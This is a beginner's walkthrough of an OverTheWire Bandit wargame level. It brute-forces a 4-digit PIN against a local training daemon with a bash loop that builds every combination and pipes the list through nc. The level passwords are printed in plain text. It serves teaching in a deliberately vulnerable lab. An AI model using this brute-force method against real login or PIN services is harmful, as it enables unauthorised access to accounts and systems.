Bandit / OverTheWire / Writeups

Level Goal
Level Goal

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

Walkthrough
So we need to write an script again to bruteforce this. I only now a bit of bash, but this should be doable. Lets see which command we need to execute and how this works. Lets try the format: nc localhost poort password pin
It asks for the pin after the connection. Okaay. Lets try to echo the password and pin and pipe this into nc and see what it does. This works we get a please enter the correct pincode back. We can use this in our script, but we need a list of all the possible combinations.

So I googled on how to make a for loop to generate the 4 digital pincode and came up with this:

#!/bin/bash
password24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

for i in {0000..9999}
  do
    echo $password24 $i >> passlist.txt
  done

This generated the passlist.txt with the password and 0000 for example:

UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0000
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0001
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0002
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0003
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0004
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0005
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0006
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0007
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0008

So now the only thing I need to do is cat this file into nc and let it run? Lets try it.
cat passlist.txt | nc localhost 30002

This goes fast and it runs!, we got the password but no idea what pincode was entered. But we got the password: uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG